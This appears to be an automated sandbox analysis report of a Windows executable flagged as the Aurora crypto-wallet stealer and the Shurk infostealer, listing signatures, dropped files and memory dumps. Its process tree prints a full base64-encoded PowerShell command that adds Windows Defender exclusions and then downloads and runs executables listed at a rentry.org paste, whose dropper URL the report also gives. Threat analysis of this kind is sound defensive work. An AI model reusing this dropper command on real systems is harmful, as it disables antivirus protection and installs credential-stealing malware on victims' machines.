Analysis
- max time kernel
145s - max time network
156s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
04/03/2024, 18:43
General
- Target f4139d1d3f3fb68c221b9c63ad30b560420959803ab3011de83c4028213e96c6.exe
- Size 25.5MB
- Sample240304-xc174saa51
- SHA256 f4139d1d3f3fb68c221b9c63ad30b560420959803ab3011de83c4028213e96c6
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://rentry.org/sb54d2/raw
Signatures
- Aurora
Aurora is a crypto wallet stealer written in Golang.
- Shurk
Shurk is an infostealer, written in C++ which appeared in 2021.
- Shurk Stealer payload 5 IoCs
- Blocklisted process makes network request 1 IoCs
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\f4139d1d3f3fb68c221b9c63ad30b560420959803ab3011de83c4028213e96c6.exe"C:\Users\Admin\AppData\Local\Temp\f4139d1d3f3fb68c221b9c63ad30b560420959803ab3011de83c4028213e96c6.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Aurora 22.12.2022_.exe"C:\Users\Admin\AppData\Local\Temp\Aurora 22.12.2022_.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\black.exe"C:\Users\Admin\AppData\Local\Temp\black.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbABoACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcQBqAHYAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAYwBsAGUAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAdQBrAG0AIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAHMAYgA1ADQAZAAyAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwBxAHkAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGkAYQBuACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHgAegB0ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwBsAGwAZQAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB4AGoAdQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAeQBlAHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAHYAZgBqACMAPgA="3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
Aurora 22.12.2022_.exe
Aurora 22.12.2022_.exe
Aurora 22.12.2022_.exe
__PSScriptPolicyTest_kylnguc4.0j2.ps1
black.exe
memory/180-20-0x00007FFAE0820000-0x00007FFAE12E1000-memory.dmp
memory/180-23-0x00007FFAE0820000-0x00007FFAE12E1000-memory.dmp
memory/180-19-0x0000000000E10000-0x0000000000E28000-memory.dmp
memory/4252-18-0x0000000000400000-0x0000000001D8A000-memory.dmp
memory/4716-37-0x00007FF743690000-0x00007FF744F9B000-memory.dmp
memory/4776-24-0x00007FFAE0820000-0x00007FFAE12E1000-memory.dmp
memory/4776-25-0x00000232BFE00000-0x00000232BFE10000-memory.dmp
memory/4776-26-0x00000232BFE00000-0x00000232BFE10000-memory.dmp
memory/4776-32-0x00000232BFE10000-0x00000232BFE32000-memory.dmp
memory/4776-38-0x00000232BFE00000-0x00000232BFE10000-memory.dmp
memory/4776-41-0x00007FFAE0820000-0x00007FFAE12E1000-memory.dmp